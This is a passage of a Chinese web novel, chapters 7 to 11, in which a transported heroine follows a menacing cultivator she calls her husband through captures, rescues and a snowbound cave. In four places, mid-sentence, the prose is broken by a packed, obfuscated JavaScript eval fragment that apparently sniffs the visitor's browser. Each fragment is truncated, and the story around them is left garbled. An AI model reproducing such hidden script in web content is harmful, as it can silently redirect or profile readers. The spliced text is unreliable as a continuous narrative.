《误把阴湿反派认作夫君后》 7. 第七章 雪越下越大了,几乎要蒙住她的双眼。 有什么东西“啪嗒”一声掉在面前,徐颂禾艰难地抬起头,看见方才被用来射杀那些追兵的弓已经散架了,分成几段被插进土里,那根弓弦也已断成了两截。 她心头微微一惊,能抵挡住这么多人,还以为肯定是什么很厉害的武器,没想到就是个用树枝搭起来的普普通通的弓,甚至连箭都没有,让那些人倒下的,居然只是几片叶子。 她默默咽下口水,觉得自己对面前这位大佬的武力值的认知还是不太清晰。 一道黑影自头顶落下,她听见一个不咸不淡的声音擦过耳畔: “还不起来,雪地里跪着很舒服吗?” 徐颂禾顿了顿,抬目对上一双笑眼。 死里逃生后的危机感才刚消除,“谢谢”二字还未说出口,便听见对方漫不经心地问:“那些人都是你引来的吗?” “不、不是的,”徐颂禾从那双眼里窥见了一线杀意,她手忙脚乱地去拉他衣角,磕磕绊绊:“我不认识他们,也不知道他们是来找你的。” 而且,找他就找他,好端端的抓她干嘛啊! 徐颂禾没把这话说出口,紧攥着的衣角从手心脱落,一只手忽地按住了她的肩膀,一阵细密的痛感缓缓袭来。她不敢妄动,只是微微仰头,眨着一双大眼睛看他。 “是吗?” 少年语气淡淡,听不出是信还是不信,却松开了按在她肩膀上的那只手。 还没等徐颂禾调整好呼吸,对方又看了过来:“方才你亲眼看到我杀了那么多人,有什么想法?” 徐颂禾微微一愣,没多加思考便道∶“我觉得……你有些可怜。” 她说这话时放软了声音,脑袋耷拉着,眼睫上沾了雪,像被打湿了的蝴蝶翅膀。 少年面色闪过一瞬的困惑,声音更冷∶“死的是他们,你却可怜我?” 肩膀上的力道加大了,痛感令她呼吸变得急促。徐颂禾憋住就要掉出眼眶的泪珠,断断续续地说∶“你明明什么也没做,可那些人却都想杀你,倘若你法术再弱一些,恐怕就应付不了他们了。” “你怎知我什么也没做?” “起码我看到的是这样,我就是觉得你是个好人。” 对方偏了偏头,灼灼目光在她脸上停留,企图从那双眼里找出一线破绽。 最终他松开了按在她肩膀上的钳制,若无其事地弹去身上的雪,“说吧,找我做什么?” 终于说到正事上了,她懵了一瞬才想起来自己是来做什么的,赶紧站起身拍拍手,摸出那串被揣在怀里的钥匙在他眼前晃了晃:“外面太危险了,你看,刚刚还有这么多人要抓你,你跟我回家吧,回家就安全了。” 毕竟我现在可是有房子的人了,徐颂禾有些骄傲地翘了下嘴角。 “回家?” 祁无恙视线斜斜射过来,从那串钥匙上掠过,又停留在她脸上。他小幅度蹙起眉,似乎对这两个字难以理解。 “嗯嗯,”白花花的雪落到身上,她像只兔子似的点了点头,高兴地笑起来:“夫君,你忘了我说过的,我是会一直和你站在同一个阵营的。” 迎着她满怀期待的目光,祁无恙没说答应,也没有不答应,只是转过身,撇下她便往反方向走。 “夫君,你要去哪里呀?” 徐颂禾紧走两步想追上去,那脚上落了雪,冰冰凉凉的,竟如灌了铅一般难以迈开。 祁无恙驻足回头,目光从她头顶掠过:“他们快醒了,你再不进去,可就没机会了。” 什么?徐颂禾顺着他的视线往回看,只见先前守在城门前的两个侍卫都已被迷晕,不知何时会醒。 她小心翼翼地问:“你不和我一起了吗?” 他没再回答,只一拂袖袍,徐颂禾便觉得地面上的雪纷纷飘起,等视线恢复清晰时,只能看见一个背影从被树叶遮敝的阴影中缓缓消失。 再追上去,他会厌烦的吧? 还是适可而止好了,徐颂禾心想,攻略这种事也急不得,不如先回去安顿好,没准他哪天回心转意,就来找自己了。 而且她刚才说的话也太不经思考了,还有什么人能威胁到大佬啊? 于是,徐颂禾没再坚持,她调转方向,趁着那两个守卫还在昏迷中,快速溜了回去。 “好好的马怎么会突然失控?赶快给我查清楚,到底是谁在背后搞鬼!” 路过方才那段路时,她忽然听见一个熟悉的声音,一看,便见那位酒肆里张扬跋扈的公子——也是不久前坐马车撞了她的人,正满脸怒气,而其余的侍卫低着头杵在他跟前,一句话也不敢说。 多一事不如少一事,徐颂禾垂着头默默离开,攥着那串钥匙,穿过各色店铺,停在一间小房子前。 她打开门,抖落了身上的雪,走进屋的那一瞬,外头的雪骤然下大了。 房子虽然不大,里面的东西却一应俱全,徐颂禾心想看来那什么宗还挺有钱的,一出手就是一套房子。 简单收拾了一下,她躺在木椅上,看着窗外纷纷扬扬的雪花和打着伞行色匆匆的路人。 她是南方人,没见过下雪,因此新奇得很。 身上的衣服和这天气比起来实在是太薄了,徐颂禾生起炉子,被冻得冰凉的脸蛋这才开始回温。 瞥见角落里有个大衣柜,她起身抱着侥幸心理走过去,拉开柜门的刹那却愣在当场。 里面竟真的堆满了衣服。 徐颂禾几乎要叫出声来,她简直想跪下给那位卓公子磕几个头。在柜子里挑了半晌,她最终选了一件塞满棉花的鹅黄撒花袄穿上。 等再回到窗边时,街道上已经看不见路人的踪影了。 也是,这么大的雪,谁还会出门呢? 徐颂禾靠着椅背,几日来的奔波在这一刻得到了些许舒缓,她开始思考来到这里后发生的事情。 她甚至怀疑,自己其实根本没有死,这一切都只不过是一场梦。 好吧,其实就是不能接受,永远都回不了家这个事实。 莫名其妙来到这个地方,遇见了一个被系统称作未来夫君的人,虽然到现在都不知道他叫什么名字,但他的确几次救过自己,日后若还有缘能相见,她一定会还了这份人情。 目光连同窗外的雪花一起飘远,最后落到黑漆漆的一片人影上。 不对,刚才大街上的人不是都回家去了吗? 天色渐晚,呼啸的冷风拍打着窗户,犹如恶鬼的哀嚎。远处连绵的山顶上,那一片暗沉的天瞬间成了死寂的灰色。 思绪被掐断,徐颂禾揉了揉发酸的手臂,正想到榻上好好躺一躺,不再去思考为什么这样的天气还有人在外面游走。忽然,那几人的对话声穿过窗户,传进她的耳朵里: “都给我搜仔细点,宗主吩咐了,谁能抓住祁无恙及其同伙,赏十两银子!” 透过模糊的视线,为首那人一脸凶相,对着几个属下颐指气使。虽然距离不近,但她还是将他的话听得清清楚楚。 这大晚上的,还下着雪,哪个倒霉蛋也要像她今天那样被抓了? 徐颂禾朝手心呵了口气,擦去凝在窗户上的水汽,坐在椅子上时双脚还在一下一下晃荡。 忽然间眼前白光一晃,她以为自己出了幻觉,赶紧揉揉眼睛,放下手时,却发现那几人持着刀剑,正朝这个方向赶来。 搞什么?不会又是冲着她来的吧!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐颂禾动了动眼皮,抬起眼睛,注意到这里还有一人。 那人佩戴面具,手里持一道长鞭,落下来的刹那,掀起的劲风刮过她耳畔,就像有人用两柄锋利的刀在她耳边来回摩擦。 徐颂禾不知道自己的耳朵还在不在。 她看不见那人在面具下是何神情,只听见他冷笑一声,手中长鞭发出危险的冷光:“你可想好了,是不是要为了祁无恙那恶徒,挨上我几鞭子?” 徐颂禾快没力气发出声音了:“我根本不知道你们说的那个人是谁。” “还要撒谎?今日他不是刚为了救你杀了我数名弟子吗?!”那人像是气急了,说话也变得急促,“只要你肯告诉我他的行踪,我就放你下来,怎么样?” 她倒是想说,可她真的不知道。 而且,眼前这个人一看就是书里反派的标配,总干些出尔反尔的丑事。 反正也跑不掉了,徐颂禾突然没那么害怕了,她平静地注视着他,气若游丝:“你说我放我下来,那么放的是活的我,还是死的我?” “宿主放心,未来夫君和你绑定了心相通功能,他上两次都能及时出现,这次肯定也会来救你的。” 一片死寂中,脑海里响起了只有她能听见的声音。 徐颂禾手指蜷缩了一下,无法辨别这话的可信度。 但耳边忽然有摩擦地板的声音,只见这牢里的大门缓缓打开,一道身影出现在了光亮中。 徐颂禾的心脏开始剧烈跳动,重新燃起的强烈的求生欲令她顿感喜悦。 8. 第八章 牢门轴的“吱呀”声还未消散,那道逆光的身影便缓缓迈步而来。 徐颂禾忍着疼痛抬起脸,借着微弱的月光,看清了来人的模样。 少年清瘦挺拔,衣衫是鲜明的红色,看上去又轻又薄。那张脸像是被天使吻过般精致,眉骨很高,眼尾微微上挑,黑发并未尽数束起,几缕散落鬓边,更添几分随性的慵懒。 徐颂禾一愣,目光下意识盯着对方,忘了眨眼。 在这生死关头,她还是忍不住在心里感叹,若不是亲眼所见,她绝不会相信世上还有男子能漂亮成这样。 但也只有那么一瞬间,她的心很快再次沉下去,手腕被勒紧的每一下抽疼都在提醒她,逃不掉了。 这个人从头到脚,都和大佬没有半点相像。谁会愿意冒险救一个毫不相干的陌生人呢?就算对方愿意帮她,他们两个人又打得过这个戴面具的吗?而且,说不定暗处还有侍卫把守着。 看来今日是死定了,她有些绝望地闭了闭眼,泪珠从眼角落下,淌到伤口上,像猝不及防被人用刀子剜了一下。 审问的人收回鞭子,满脸警惕:“你是什么人?来这里做什么?” 那少年视线从他们身上掠过,最后轻飘飘落到了满身伤痕的少女身上,他颇为歉仄地笑了笑:“抱歉,打扰你们了,我只想问问流云宗怎么走。” 面具下的脸抽搐了一下,那人开始把注意力从她身上转移,“你去流云宗做什么?还有,这里可不是问路的地方。” 少年摊了摊手,眼神里似是落了屋外的雪,纯良又无辜:“我迷路了,周围的房子都锁了门,只有这里有人声传出来。我也是不得已才来的,并非有意打搅各位。去流云宗是因为听说掌门人热情心善,没准能讨口饭吃。” 面具人朝门外看了一眼,脸上紧绷的肌肉像伸懒腰似的放松下来,他摆摆手,道:“这里不是你该来的地方,快走吧,流云宗也不是你想去就能去的。” “哦,真奇怪。” 少年却丝毫没有要离开的意思,反而低低笑了一声。 那声笑传入耳中,心跳仿佛都随之漏了半拍,徐颂禾惊愕抬眸,视线上上下下地打量着他。 这声音太熟悉了——那是她来到这个世界,听到的第一声人声。 她忽然有些兴奋,想到的第一件事不是自己即将得救,而是那后续再没被提起过的好感度∶“系统,现在他对我的好感度有多少了?” 系统很快回答∶“目前进度为零,还请宿主加把劲。” “……” 这么久了还是零? 没关系,慢慢来就是了,不过如果真的一点用都没有的话,那他为什么要来救自己? 面具人抬起的鞭子又放了下去,语气不善:“你还不走,站在这里笑什么?” 对方淡淡开口,说出的话却令他骤然色变:“原来这不入流宗门里的人还没死绝吗?看来当年侥幸逃走了一个,才让你们苟延残喘地维持了这么久。” “你究竟是什么人!” 面具人动作瞬间凝固了,像一尊被突然定格的雕像,解冻后便如见了鬼般连连后退,嘴唇一张一合,却说不出一句完整的话:“你……你……” “我?”祁无恙微微一笑:“我只是个过路人,开个玩笑罢了,你这么紧张做什么?” 那人似乎意识到方才的失态给自己丢尽了颜面,他换了副语气,冷冷道:“我不知道你在说什么,如果你继续在这胡言乱语,就别怪我的鞭子不长眼。” “是吗?”祁无恙朝身后招了招手,一阵嚎叫便跟随着脚步声奔来。 “爹,爹——救我!” 卓子寻扑通一下跪倒在地,脸部痛苦到扭曲:“爹,就是这个人故意扮摔了我的马,还给我下了诅咒,说什么不出三日必七窍流血而死。爹,您一定要救救孩儿,孩儿不想死啊!” 这人名叫卓不凡,他摘了面具,揪着儿子的衣襟把他从地上拽了起来:“哭什么哭?男儿膝下有黄金,岂容你说跪就跪!” 他说完,想到“诅咒”一词,心里一阵寒颤,赶紧去察看卓子寻的伤口,果真在手臂上发现了一个太阳图案。 卓不凡手指一抖,颤颤巍巍地看向祁无恙:“你……你这魔头对他做了些什么?” “也没什么,”祁无恙叹了一声,双手环抱在身前,好整以暇地看着这父子二人,“他不是讨厌太阳光吗?我送他一个不会发光的太阳,有什么不好?不该感谢我吗?” 卓不凡后槽牙都快咬碎了。 忽地,他一扬鞭子,以迅雷不及掩耳之势闪到了徐颂禾身后,一手掐住了她的脖子,笑容狰狞:“把解药给我,否则,我就立刻杀了她!” 祁无恙看都没看一眼:“哦。” 徐颂禾:“……” 这种时候不是应该她大义凛然地让他不要管自己,撇下她先走,然后他对自己不离不弃最终两人合力击退反派的吗?为什么到她这就不一样了! 显然身后的卓不凡也没想到他会是这个态度,怔愣片刻后,忽然大笑起来:“好,今日你杀我儿,我也不会留你同伙的性命。”转头又向卓子寻道:“儿子,今日你是为除魔头牺牲,日后我流云宗上上下下都不会忘记你!” 卓子寻呆住了,他不敢相信父亲就这样放弃了自己,禁不住嚎啕大哭:“爹,我不要别人记住,也不要做什么英雄,我只想活着……爹,难道您就忍心看着孩儿去死吗?!” 徐颂禾闭了闭眼——这声音吵得她眼睛疼。她看向祁无恙,大声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你在求我?”他终于开口,说出的话是那么轻描淡写:“我最喜欢看别人求我,可惜了,我只喜欢看着,他们的请求,我从不会顺从。况且我帮你解决了他们,已经算是破例了,以前我可从不会干救人的事。” 徐颂禾觉得自己被当头浇了一盆冷水。 她看向他的眼神里多了几分幽怨,明明是顺手的事,为什么要故意这样看着她出丑? “我知道你在想什么,”祁无恙的目光冷下来,唇角却依旧噙笑,“要是有谁经过,看见了你这幅窘态,我就剜了他的眼睛,如何?” 徐颂禾咬了咬牙,没说话。 他朝她伸出两根手指:“要么自己挣脱,要么——就冻死在这。” 9. 第九章 风雪未息,凛冽的风声在狭小的空间里徘徊。清冷的月光斜射过窗纸,淡淡余光平铺在窗棂上,也透进少年眼底。 徐颂禾看不出他眼里还有没有别的情绪,只知道他真的不打算帮自己了——他似乎对任何人,都不会产生怜悯。 她不再说话,尽量不让颤抖的牙齿咬到舌头。余光一瞥,落到地上那闪闪发光的匕首上。 她弯腰尝试了几次,最终都以失败告终。铁链不够长,又束缚得太紧,她实在怕疼,因此不敢有大动作。 “祁公子,你能不能……帮我把匕首捡起来?” 从那几个追兵闯进屋带走她开始,喊的一直是“祁无恙”,她也以这种方式记住了他的名字。 祁无恙眼中多了几分不屑:“你指望用它把铁链割开吗?” 徐颂禾摇摇头,开口的刹那眼泪顺着脸颊流淌,月光映照下,更显楚楚可怜:“我知道自己是死定了,与其经历漫长的被冻死的痛苦,不如我自己了结。但我知道公子是不屑于和我这样的弱女子动手的,所以求求你把刀给我,我死了以后,在天堂也会感激你的。” 屋内一时陷入寂静。 他深深看了她一眼,随后俯身去捡那柄匕首。 徐颂禾转头想活动活动麻木的脖子,视线飘到被五花大绑着的两人身上,瞳孔骤然紧缩:“公子当心,他们要偷袭!” 祁无恙头也没抬,几乎是在拾起匕首的同时,抬手随意挥出一道弯刀状的灵力。 这法术连余波都那么强,压根没想给人留活路。徐颂禾忘记了当时具体是怎样的心情,只记得心跳骤然加速,快得像是要破膛而出。 她挪动身子,使两只手都被笼罩在灵力的光辉之下,随后闭上眼,听天由命。 “咔擦”两声,铁链齐刷刷断裂。 双腿骤然得以释放,徐颂禾扑到地上,小口喘着气,额前碎发早已被冷汗浸湿,无力地贴在她脸侧。两只手被绑得太久,已经不足以支撑起整个身子,但双脚又软得站不起来,她只好换了个姿势,双膝跪在地上,做了好一番心理准备才敢抬头迎接他的视线。 祁无恙眼里的嘲弄瞬间消散,他勾了勾唇,以另一种神色去审视面前的人。 月光在她眼底游走,她的眼神是那样清澈,没有任何别的贪婪的、邪恶的杂念,只是纯粹的想活。 和娘亲死后,他见过的所有人都不一样。 从前所有人都对他避之如蛇蝎,只有她,竟会期盼他能出手相救,还求着想跟着他。 “公、公子,我没有想骗你,”徐颂禾与他的目光一触即分,低着头心虚得不敢看他,“我方才的确看见他们的绳子松动了,或许……或许是我看错了……” 她说得小心翼翼,不清楚他会不会相信,也猜不到他会不会因为这个举动恼羞成怒,然后杀了自己。 “真有意思,”祁无恙触到她投来的带着一丝试探的目光,蓦地一笑:“现在这么怕我,不久前不是还非要跟着我吗?” 徐颂禾一愣——对啊,她为什么要怕他? 不久前她还抱有期待,期待在这个世界遇见的第一个人能救她离开,期待能跟在他身边,得到庇护然后活下来。 “我身边没人会杀人,我也没见过那么多血,”徐颂禾跪在地上,老老实实地答,只不过这会她比方才多了点勇气,敢抬起头直视他了,“所以,第一次见到你杀人,我害怕也很正常。不过我现在不怕了。” “为什么?” “我不知道。”她的确不知道,有的时候人的感觉就是莫名其妙。 他大概也觉得莫名其妙,微微蹙起了眉,似有所思。 在他再次开口前,徐颂禾看向他,眼里充满了期待,和一丝不易察觉的胆怯:“我以后能不能跟着你?” 她其实不知道自己身上沾到的气息是什么,也不知道怎么去掉——反正她闻了很多遍也没闻到有什么味道。但今天得罪了宗门的俩父子,日后他们一定还会派人来抓自己的。 只有他和自己有着一样的敌人,她只能跟着他了。 祁无恙没有回答这个问题,反而反过来问她:“不是害怕我杀人吗?我可不会因为你害怕,就不杀人了。” “只有第一次害怕,”徐颂禾纠正他,她这时已经完全忘却了方才的恐惧,又用和前几日同样的口吻和他说话,“而且,你明明什么也没做,是那些不讲理的人先找上门来的,我要怕也是怕他们才对。” 祁无恙听完没什么表示,一双眼眸半眯着,又回到了第一个问题:“你说要跟着我,现在外面或许都是流云宗的人,你觉得我们该去哪?” 他这是……答应了?徐颂禾打量着他,心想终于问到这个问题了。 她没有任何犹豫地回答:“我觉得不管外面有没有人要抓我们,都应该先去趟裁缝铺。” “去那做什么?” “当然是给你买衣服呀,”徐颂禾眨了眨眼,大胆地盯着他身上那件轻薄的红色玉带长袍,“你一进门我就注意到了,穿成这样,你不会觉得冷吗?” 似乎没料到会是这个回答,祁无恙微微一顿,甚至头一回怀疑自己听错了话,神色几不可察地变了变。 她没注意到他这点细微的变化,还在旁边喋喋不休:“夫君要是不方便露面的话,我可以戴上面具——喏,这不就有现成的吗?我借他的面具戴一戴,买好了衣服再还回来……” 然而,屋外的马蹄声打断了她的话。 一行佩戴刀剑的人越下马,将屋子包围起来。街道上行人本就稀少,见了这么大动静,纷纷逃难似的跑回家去锁紧了门窗。 “就是他们打伤了掌门,快把人抓回去审问!” 檐上积雪簌簌掉落,堆在门前,隐约能没过膝盖。 徐颂禾下意识攥住少年衣角,仰起脸恳求他:“我们快走吧,他们就要闯进来了。” 她观察着对方的神色,生怕一个不留神他就不见了,手上的力气不由得加大了些。 祁无恙淡淡垂眸,掠过她那只因过度紧张而指节泛白的手。 “不要留我一个人,求求你了,”徐颂禾说完,忽然意识到一件事,她捡起地上那柄匕首,颤着声音道:“他们人好像很多,你、你打得过吗?要是连你都打不过的话,我们还是逃吧——不对,好像也没有地方可以逃了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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脚下的云海逐渐变得清晰,徐颂禾站在雪地里,像踩着一团棉花糖。 带着她冲出包围的人把她平稳地放在地上,随后转身便走,没有任何要她跟上的意思。 徐颂禾主动跟了上去,有些茫然地望着四周——光秃秃一片,偶尔能看到几簇灌木丛,却也被雪埋没得差不多了。 系统洋洋得意的声音在脑海里响起:“宿主你看,我就说未来夫君一定会来救你的吧!” 徐颂禾想了一下,觉得此事确实有些巧,于是喃喃自语了一句:“难道你说的都是真的,他真的会是我未来夫君?” 系统:“……千真万确!” 合着你一直都不信呗! 也不能怪她不信啊,过了这么久,好感度连个响都没听见,谁知道是不是认错人了。 “夫君,我们要去哪里呀?”她追上去问。 祁无恙却忽然停住不走了,回头看向她时,一抹玩味的笑爬上嘴角:“方才我给那个人下了诅咒,你也看见了,那么我很好奇,你对此有什么想法?” 10. 第十章 “什么?” 徐颂禾跟着他停下来,歪了歪脑袋,疑惑不解地看着他。 “你是说那个太阳?”她回忆了半晌,最后脑海里跳出一个场景。 什么想法什么想法,为什么总要问她这种问题?! 徐颂禾认真思忖过后,摇了摇头:“我觉得不大妥当。” “……”祁无恙微眯起眼,却没有立刻动手,而是大发善心地等着她说完。 徐颂禾拾起一根木棍,在雪地里一笔一划写着什么。 片刻后,她放下树枝,望向他,两只眼睛弯起来∶“公子,你过来一下。” 祁无恙没有立刻过去,只是似笑非笑地瞧着她。 她会写些什么?他就算看到了也不会知道——他根本不识几个字。 那该怎么办?他的目光里多出一丝杀意,她有话为何不能直说,他最厌烦这些弯弯绕绕的东西。 徐颂禾哪里知道这人在心里已经杀过她一次了,见对方无动于衷,她偏了偏头,奇怪的目光看向他∶“怎么啦?” “……” 祁无恙最终还是妥协地挨到了她身旁。 随后,他的目光一垂,看见了一个画得歪歪扭扭的小太阳。 有鼻子有眼,是个微笑着的太阳。 “你画的不够生动,”徐颂禾用树枝点了点那个太阳,描摹着它的轮廓,“要这样才够解气呀。” 远处连绵的群山之间,一轮太阳升了起来,她弯起眼睛笑了笑,眼里像是噙住了一缕金灿灿的阳光。 被下诅咒等于必死无疑,徐颂禾知道他这是想试探她对他杀人这件事的态度,这种时候她不可能再表现出和他对立的立场,更何况,酒肆里那家伙仗势欺人,不知欺负了多少好姑娘,所以,她本来也没觉得他有错。 祁无恙视线从那歪歪扭扭的太阳上扫过,听了她的解释,脸上没什么表情。 “画的很丑。” 他垂眸睨她,半晌,淡淡扔下几个字。 徐颂禾也不生气,只偏头看了看自己画的,低声嚷嚷:“不好看就不好看了,我又不是学画画的……而且,这哪里丑了?” 她抬起头,发觉身边又没人了。 ……走得这么快,就没想带着她吧! 徐颂禾原本不想再跟了,但尖锐的风忽然送来几声嚎叫,她的神经瞬间紧绷,忐忑地望向四周。 别又从哪个角落跑出一只妖怪来,她拍去手上的雪,娴熟地站起身跟了上去。 她走在他身侧,抬起脸看他,目光里带着一丝小心翼翼:“公子,你会一直这个样子吗?” 他这一次又不一样了,从她见到他第一面开始,到现在已经换了三副容貌了。 祁无恙声音淡淡:“怎么?” “就是觉得……你这副样子很好看。”徐颂禾犹豫了一下才说。 他的目光从她身上扫过,唇边隐隐掠过一丝笑意:“疼么?” 徐颂禾低头看了看,方才卓不凡的鞭子还没抽下来,他便来了,现在她身上的伤都是被铁链给勒出来的。 她揉了揉泛红的手腕,神情有些委屈:“疼。” “听说那边有草药,”祁无恙抬手,为她指了一条路,“敢去吗?” 他手指的方向,是一处悬崖。放眼望去,只有白茫茫的雪,根本看不见有什么草药。 徐颂禾迟疑着,手指在裙裾上绞动,看向他时眼里带了些恳求:“那你不要丢下我。” 这里人生地不熟的,刚才还有奇怪的声音,他要是自己走了,那她可真就不知道怎么办才好了。 祁无恙轻轻一笑:“当然不会。” 她半信半疑地去了,每走两步便要回头瞧一瞧,看见他一直保持着同一个姿势留在原地,悬着的心才稍稍安下来。 脚下忽然被什么东西绊了一下,徐颂禾一个踉跄,扑到雪地里,手上、脸上都沾了雪。 大冬天冰冰凉凉的感觉弄得脸颊有些难受,她赶紧抬手想把雪抹去,一丝铁锈味顺着指缝悄悄钻进了鼻中。 徐颂禾一顿,盯着那只手指,看见一片白中掺了点儿醒目的红。 这是人血,还是妖血? 还没容她细想这个问题,忽然间一抬眼,视野便被一片碧绿覆盖了。 徐颂禾有些震惊,走近了看,发觉那是生长在悬崖边的一小片草地。 那些草又矮又小,一夜的大雪没能覆盖住它们。它们倔强地挺直腰杆,展现出了不同于这个冬天的生机。 她蹲下身,拍去上面的雪,小心翼翼摘了一株。 这真的有用吗?她看了看自己的伤口,只怕这草有毒,踌躇着不敢把它放到流血的地方。 正在此时,一只长得像兔子的小妖怪蹦了过来,对着一株草咬了下去。 “哎……” 徐颂禾急得站起身,想说这草不知有没有毒,便见它咬了几口咽下后,又一蹦一跳地跑去其它地方了。 难道草没问题? 她仔细观察了一下,发现大多数叶子上都有被啃咬过的痕迹,看来这些小兽以它们为食,那草便是无毒的了。 徐颂禾用手指将草叶捻出汁水来,轻轻涂在了伤口上。 一瞬间她觉得手腕疼得像是要和身体分离了。 咬着牙把汁水挤完,她惊讶地发现,那伤口竟然不见了。徐颂禾赶紧在手腕上用力拍了拍——也不疼了。 这么好的草药,得带一些走才行。她想着,但也没摘太多,只挑了两株拿在手里,毕竟这里的动物或许还要靠它生活呢。 她忽然想到祁无恙,他的仇家看起来好像有点多,就算再强,也难免会有受伤的时候吧? 做完这些,她小心地把小草揣在怀里,抬头时猛然间眼前白光一闪,一柄冒着寒气的剑尖已怼到鼻尖前。 徐颂禾瞳孔骤扩,一声惊呼被强行断在喉咙里,她定了定神,看向对方。 这人的打扮和那群抓走她的流云宗的人一样。 完了完了,不会又要被抓吧?她视线飞快从周围的一草一木上扫过,期待能找到些趁手的东西扭转局势。 “喂,有没有见过一男一女逃到这里?”那人声音恶狠狠的。 什么?徐颂禾微微一惊,旋即暗道老天保佑,他还没认出自己,那就好办多了。 她忽然弯下腰,手心抓了一大把雪,毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妈呀!救命啊!!” 她抱住脑袋,余光瞥见旁边有个山洞,想也没想便钻了进去。 洞穴里也堆积了不少雪,但躲在这总比在外面安全些。 突如其来的雪崩还没停,徐颂禾闭上眼缩在角落里,不知道这个小小的洞能坚持多久,估计很快也会被大雪压塌吧…… 她不敢再想,只在临死前多呼吸了几口新鲜的空气。 “系统啊系统,下次复活,请让我变成一个不愁吃穿的富人家的女儿吧,再不济,给我一个正常的生活环境也行,起码不要再像现在这样了啊……” “你是怎么进来的?” 仿佛过了有一个世纪那么久,一道冷冷的声音响在耳畔,仿佛夹杂着风雪。 徐颂禾睁开眼,茫然地望向四周,终于从一片空白的世界里逃了出来。 最先闯入眼帘的,是一个约莫二十来岁的少年,着一身粗布,肩上还扛着木柴。 11. 第十一章 求生的本能使她根本来不及思考雪崩过后为什么这样小的一个山洞居然毫无损伤,外头的雪为什么进不来一滴,便已泪眼汪汪地扑上去,哽咽道:“公子,雪崩了,我和我的朋友走散了,求求你救救我们吧……” 那少年不语,只双手抱胸,面无表情地垂眸。 半晌等不来回答,徐颂禾有些失落地抬起头,对上了一道带着杀气的目光。 等等…… 她猛地一怔,心跳好似都停止了。 “你、你是祁……”不确定这个人的真实身份,她话到嘴边赶紧改口:“夫君?” 他这是又换了一副样子? 祁无恙勾了勾唇,眼里却没有笑意:“跑到这里做什么?” “我是想去找你的,可是看见了一束奇怪的光,睁开眼我便在这了……” 她语无伦次地解释着,按在地上的手忽然碰到了一个类似头发的东西。 徐颂禾颤抖着移开手,看清地上的东西后,胃里登时一阵翻江倒海,险些呕了出来。 那是一滩殷红的血,一团凌乱的像是某种动物的毛发,更可怖的是,旁边有一截正流着血的手臂。 或许是方才太过紧张了,她居然都没闻到这里的血腥味。 徐颂禾泪花都快掉出来了,不敢相信自己和这些东西待了这么久,话说得磕磕绊绊:“这……这是什么人的尸体?” “是我的。” 少年声音波澜不惊,仿佛在述说一件平平无奇的事。 “啊?!” 仿佛一声闷雷在脑中炸开,徐颂禾失神地跌坐在地,后背抵在石壁上,脸色惨白地看向他:“你你……你是人还是鬼?” 祁无恙偏了偏头,好笑地看着她:“你猜。” 她一点都不想猜。 徐颂禾盯着那截断臂呆滞了一瞬,她的手还在止不住地颤抖,此刻恨不能跪下给它磕几个头:“对、对不起,我只是想逃命,不是有意要冒犯你的,我这就走……” 额头上忽然擦过一块柔弱却又带些粗糙的布料,她已经停止了发抖,抬起头,看见祁无恙已将那断臂捡去,擦净上面的血后,这才不紧不慢地将视线投到她身上。 “有这么害怕?” “我……”徐颂禾顿了顿,声音弱了下去,尽量不让它带着哭腔,“你知道的,我怕鬼嘛。” 祁无恙微微眯眼,唇角浮起似有若无的笑意:“我什么时候说我是鬼了?” 恐惧来得快去得也快,她这时已经不那么害怕了,反正最差的结果也就是死吧,整天跑来跑去的,甚至还不如嘎巴一下死了好。 但听了他的话,她略微惊讶地指了指地上那搓毛发……和那截手臂,道:“那这些是……” 她忽然想到什么:“你刚才不是承认了这具身体是你的,那你怎么还能……” 怎么还能活着呢? 难不成像他们刚见面时候那样,他的手臂还能再长回来?徐颂禾盯着他两条完整的手看了半晌也琢磨不出个答案——可他现在不还好好的吗?那这到底是什么跟什么? 上一次也是这样,他换了副样子后,手臂就重新回来了…… 一个邪恶的念头如闪电般从脑海中划过,留下一阵后怕和颤栗。 难不成他,他…… “你是怎么进来的?” 喷在耳畔的温热气息令她骤然回神,徐颂禾一惊,少年已经俯下身,目光直勾勾地看着她,眼里晦暗翻涌。 她到这里来是有什么不对吗? 徐颂禾立刻警觉起来,但也没对他撒谎,只老老实实把方才发生的事复述了一遍。见他神色没什么变化,也不知信还是不信,她指了指地上的一大滩雪,急于解释:“我真的没有骗你,它们也是被那光逛一起带过来的……我、我什么都不知道,一睁眼就在这了。 不等他说完,手腕忽地被人拽起,她只觉得眼前蓝光一闪,那道薄薄的屏障一样的东西连同小山洞一起被甩在了身后。少年修长的手指不由分说地按上来,片刻后,他脸上浮现出少有的惊诧。 这是把脉给她把出点什么来了?徐颂禾不由得咽了咽口水,忐忑地观察他的神色。 祁无恙指尖摩挲着她的手腕,眼底闪过一丝极快的探究:“你的灵丹去哪了?” “灵丹是什么?”她眨了眨眼,脱口而出。 他眉间微蹙,狐疑的目光扫向她。 